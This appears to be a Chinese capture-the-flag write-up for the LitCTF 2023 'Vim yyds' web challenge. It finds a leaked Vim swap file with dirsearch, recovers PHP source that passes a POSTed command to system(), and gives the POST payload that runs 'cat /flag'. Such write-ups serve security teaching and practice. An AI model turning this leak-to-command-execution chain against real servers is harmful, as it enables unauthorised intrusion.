[LitCTF 2023]Vim yyds

LitCTF 2023Vim yyds wp

题目页面如下:

搜索一番,没有发现任何信息。题目描述中说到了源码泄露,那么先进行目录扫描。

dirsearch 目录扫描

命令:

复制代码
dirsearch -u "http://node4.anna.nssctf.cn:28588/"

返回结果:

在结果中发现一个 .index.php.swp 文件。

直接访问该文件将其下载下来。

关于 .swp 文件

.swp 文件一般是 vim 编辑器在编辑文件时产生的,当用 vim 编辑器编辑文件时就会产生,正常退出时 .swp 文件被删除,但是如果直接叉掉(非正常退出),那么 .swp 文件就会被保留。

使用 vim 编辑器恢复 .swp 交换文件

可以参考:VIM学习笔记 交换文件(swap)

自动检索当前目录下的交换文件:
复制代码
vim -r

因为该文件中的信息显示原文件是在 /d/CTF/LitCTF/vim/index.php 目录下,为了进行后面的操作,我们先创建一个 /d/CTF/LitCTF/vim/index.php 目录。(或许也有其他的方法)

恢复交换文件
复制代码
vim -r index.php.swp

按照提示操作后,index.php.swp 文件的内容会被恢复到 /d/CTF/LitCTF/vim/index.php 文件中

这里仅展示 index.php.swp 文件中的 PHP 代码部分:

复制代码
<?php
error_reporting(0);
$password = "Give_Me_Your_Flag";
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)) {
    echo "<p>Oh You got my password!</p>";
    eval(system($_POST['cmd']));
}
?>

payload

很简单,只需要 POST 传参 password 等于字符串 "Give_Me_Your_Flag" base64 加密后的值即可。

复制代码
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag

拿到 flag :

相关推荐
NOVAnet20233 小时前
云网 + 存储一体化灾备方案解析:南凌科技 × 爱数全景云灾备技术与行业落地价值
科技·web安全·企业数字化·企业sd-wan·混合云网络
Hiyajo pray7 小时前
SDN 访问控制性能调优方法
服务器·网络·网络安全
数据知道11 小时前
网络安全职业规划:从入门到高级安全工程师的路径图
安全·web安全·网络安全·渗透测试·职业规划
Gyr011 小时前
关于证书站捡洞这一档事
安全·web安全
Sagittarius_A*13 小时前
Web 渗透实战:服务器系统识别、端口与中间件全量探测
服务器·网络安全·中间件·渗透测试
网安蟹佬霸13 小时前
我国网络安全人才缺口现状、成因与对策研究
安全·web安全
学逆向的13 小时前
汇编——函数
开发语言·汇编·网络安全
云水一下14 小时前
零基础玩转bWAPP靶场(一):从起源到环境搭建,开启Web安全实战之旅
web安全·靶场·bwapp
HackTwoHub15 小时前
AntiDebug Mcp、AI逆向绕过前端,Hook 加密接口,抓取 Vue 路由漏洞,接入 MCP 让 AI 自动化挖掘前端漏洞
前端·vue.js·人工智能·安全·web安全·网络安全·系统安全
JS_SWKJ15 小时前
【无标题】
网络安全